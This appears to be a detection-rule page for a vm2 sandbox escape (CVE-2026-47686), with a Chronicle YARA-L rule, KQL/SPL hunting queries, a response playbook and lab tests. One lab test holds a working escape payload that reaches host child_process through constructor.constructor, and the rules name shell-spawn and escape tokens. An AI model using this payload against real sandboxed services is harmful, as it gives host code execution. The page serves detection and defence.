CVE-2026-47686 Google Chronicle · YARA-L

Detect VM2 Sandbox Escape via Missing Error.cause Sanitization (CVE-2026-47686) in Google Chronicle

Detects exploitation and presence of CVE-2026-47686, a critical (CVSS 9.9) sandbox escape in the vm2 npm library (versions <= 3.11.5). The vm2 sandbox fails to sanitize the Error.cause property, allowing attacker-controlled code executing inside the sandbox to walk the prototype chain of the host-provided cause object and reach host primitives (constructor.constructor), yielding arbitrary code execution on the host Node.js process. Because vm2 is frequently used to evaluate untrusted user-supplied JavaScript (serverless functions, template engines, online code runners), a successful escape results in full RCE with the privileges of the Node.js service. This detection surfaces both vulnerable-version presence (via package inventory / installed vm2 metadata) and runtime exploitation behavior (Node.js processes spawning shells, unexpected child process creation, network egress originating from a vm2-hosting service).

MITRE ATT&CK

Tactic
Execution Privilege Escalation

YARA-L Detection Query

Google Chronicle (YARA-L)
yaral
rule vm2_error_cause_sandbox_escape_cve_2026_47686 {
  meta:
    author = "Argus Detection Platform"
    description = "Node.js host spawning a shell with vm2 Error.cause escape primitives (CVE-2026-47686)"
    severity = "CRITICAL"
    cve = "CVE-2026-47686"
  events:
    $e.metadata.event_type = "PROCESS_LAUNCH"
    re.regex($e.principal.process.parent_process.file.full_path, `(?i)node(\.exe)?$`)
    (
      re.regex($e.target.process.file.full_path, `(?i)(cmd\.exe|powershell\.exe|/sh|/bash|/dash)$`)
    )
    (
      re.regex($e.target.process.command_line, `(?i)constructor\.constructor|child_process`) or
      re.regex($e.principal.process.command_line, `(?i)error\.cause|cause\.constructor|constructor\.constructor`)
    )
    $host = $e.principal.hostname
  match:
    $host over 5m
  condition:
    $e
}
critical severity medium confidence

Chronicle YARA-L 2.0 rule detecting Node.js parent processes launching shells with vm2 Error.cause sandbox-escape tokens.

Data Sources

Sysmon (UDM PROCESS_LAUNCH)Linux EDR process telemetry

Required Tables

udm.events

False Positives & Tuning

  • Node build tooling launching shells
  • Legitimate function-runtime child processes
  • CI node orchestration scripts

Other platforms for CVE-2026-47686


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1vm2 Error.cause sandbox escape proof-of-concept (lab)

    Expected signal: A node process spawns /bin/sh -> id; auditd/Sysmon process-creation event shows node as parent of a shell running 'id'.

  2. Test 2Node.js spawns reverse-shell after simulated escape (lab)

    Expected signal: node process with parent command line containing 'constructor.constructor' spawns /bin/sh; process-creation and follow-on file-write events recorded.

  3. Test 3Vulnerable vm2 version presence check (lab)

    Expected signal: npm install writes node_modules/vm2/package.json with version 3.11.5; package inventory / software-inventory telemetry records vm2 3.11.5.


Response Playbook

Triage

  1. Confirm the affected host runs a Node.js service that embeds vm2. Inspect the service's package-lock.json / node_modules/vm2/package.json to determine the installed vm2 version; any version <= 3.11.5 is vulnerable to CVE-2026-47686.
  2. Retrieve the full parent (node) and child (shell) command lines from the alert and determine whether the shell invocation was expected. Look specifically for prototype-walk tokens: constructor.constructor, Error.cause, cause.constructor, process.binding.
  3. Correlate the timestamp with inbound requests to the vm2-hosting endpoint (code-runner, template render, webhook evaluator) to identify the untrusted JavaScript payload that triggered the escape.
  4. Determine the privilege level of the Node.js process (service account, root, container UID) to scope the blast radius of the RCE.

Containment

  1. Isolate the affected host from the network to prevent lateral movement and data exfiltration from the compromised Node.js process.
  2. Disable or take offline the endpoint that evaluates untrusted JavaScript in vm2 until the library is upgraded to 3.11.6 or the input source is trusted.
  3. Rotate any secrets, API keys, or credentials accessible to the Node.js service account, as an attacker with host RCE could have exfiltrated them.

Evidence Collection

  1. Capture the full process tree (node -> shell -> any grandchild processes) with command lines, PIDs, and timestamps from EDR.
  2. Preserve the application/access logs containing the untrusted JavaScript payload submitted to the vm2 sandbox, plus network connection logs for the process.
  3. Snapshot the host or container filesystem and memory to capture any dropped tooling, staged payloads, or in-memory implants before remediation.

Escalation Criteria

  • !Escalate to incident response if the Node.js process spawned outbound network connections, additional child processes, or dropped files after the shell was created — indicating post-exploitation activity.
  • !Escalate if the vm2 host process runs as root/privileged or has access to sensitive credentials, database connections, or cloud metadata endpoints.
  • !Escalate if multiple hosts show the same node->shell escape pattern, indicating automated or worming exploitation.

Investigation Guide

Related Techniques

Forensic Artifacts

  • >node_modules/vm2/package.json showing version <= 3.11.5
  • >Application request/access logs containing the malicious JavaScript payload with Error.cause manipulation
  • >EDR process-creation records for the node -> shell child process chain
  • >Any files dropped in temp directories or the service working directory following the escape

Tuning Guidance

Establish an allowlist of Node.js services that legitimately spawn child processes (build agents, task runners, node-gyp) and exclude them by host or process path to reduce noise. Focus alerting on hosts running services that evaluate untrusted user JavaScript. If command-line escape tokens produce false positives from application code containing the string 'child_process', tighten the correlation to require both a Node.js parent AND a shell child AND a prototype-walk token in the same event window. Pair this behavioral detection with a package-inventory sweep for vm2 <= 3.11.5 to catch vulnerable hosts before exploitation.


Hunting Queries

Baseline all shells spawned by Node.js processes across the fleet to surface anomalous vm2 hosts and identify which services legitimately shell out versus those showing an unexpected escape.

Hunting — KQL
kql
DeviceProcessEvents | where InitiatingProcessFileName in~ ("node.exe","node") | where FileName in~ ("cmd.exe","powershell.exe","sh","bash") | summarize count() by DeviceName, ProcessCommandLine, InitiatingProcessCommandLine | order by count_ desc
Hunting — SPL
spl
index=* (sourcetype="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1) OR sourcetype=linux:audit | search parent_process_name=*node* (process_name=*cmd.exe OR process_name=*powershell.exe OR process_name=*/sh OR process_name=*/bash) | stats count by host parent_process_name process_name CommandLine

Atomic Red Team Tests

Test 1 vm2 Error.cause sandbox escape proof-of-concept (lab)
linux

Runs a minimal Node.js script that uses the vm2 <= 3.11.5 Error.cause escape to execute a benign host command, demonstrating the RCE primitive in an isolated lab.

Command

bash
cat > /tmp/vm2poc.js <<'EOF'
const { VM } = require('vm2');
const vm = new VM();
const payload = `
  const e = new Error('x');
  try {
    e.cause = {};
    const host = e.constructor.constructor('return process')();
    host.mainModule.require('child_process').execSync('id > /tmp/vm2_escape_proof.txt');
  } catch (err) { err.toString(); }
`;
try { vm.run(payload); } catch (e) {}
EOF
node /tmp/vm2poc.js; cat /tmp/vm2_escape_proof.txt

Cleanup

bash
rm -f /tmp/vm2poc.js /tmp/vm2_escape_proof.txt

Expected Telemetry

A node process spawns /bin/sh -> id; auditd/Sysmon process-creation event shows node as parent of a shell running 'id'.

Expected Detection

The KQL/SPL/EQL rules fire on the node->shell chain; command-line contains constructor.constructor / child_process tokens.

Test 2 Node.js spawns reverse-shell after simulated escape (lab)
linux

Simulates post-escape behavior where the compromised Node.js host spawns a shell that initiates an outbound connection, mirroring attacker RCE follow-on activity.

Command

bash
node -e "require('child_process').spawn('/bin/sh',['-c','echo constructor.constructor; sleep 1; /bin/sh -c \"echo simulated-c2 > /tmp/vm2_c2.txt\"'],{stdio:'inherit'})"

Cleanup

bash
rm -f /tmp/vm2_c2.txt

Expected Telemetry

node process with parent command line containing 'constructor.constructor' spawns /bin/sh; process-creation and follow-on file-write events recorded.

Expected Detection

Behavioral node->shell detection matches on the parent command-line escape token and the shell child process.

Test 3 Vulnerable vm2 version presence check (lab)
linux

Installs the vulnerable vm2 3.11.5 package and confirms the version present on disk, exercising the vulnerable-version inventory portion of the detection.

Command

bash
mkdir -p /tmp/vm2test && cd /tmp/vm2test && npm init -y >/dev/null 2>&1 && npm install [email protected] >/dev/null 2>&1 && node -e "console.log('vm2 version:', require('/tmp/vm2test/node_modules/vm2/package.json').version)"

Cleanup

bash
rm -rf /tmp/vm2test

Expected Telemetry

npm install writes node_modules/vm2/package.json with version 3.11.5; package inventory / software-inventory telemetry records vm2 3.11.5.

Expected Detection

Software inventory / vulnerability-management correlation flags vm2 <= 3.11.5 as CVE-2026-47686 vulnerable.

Related Detections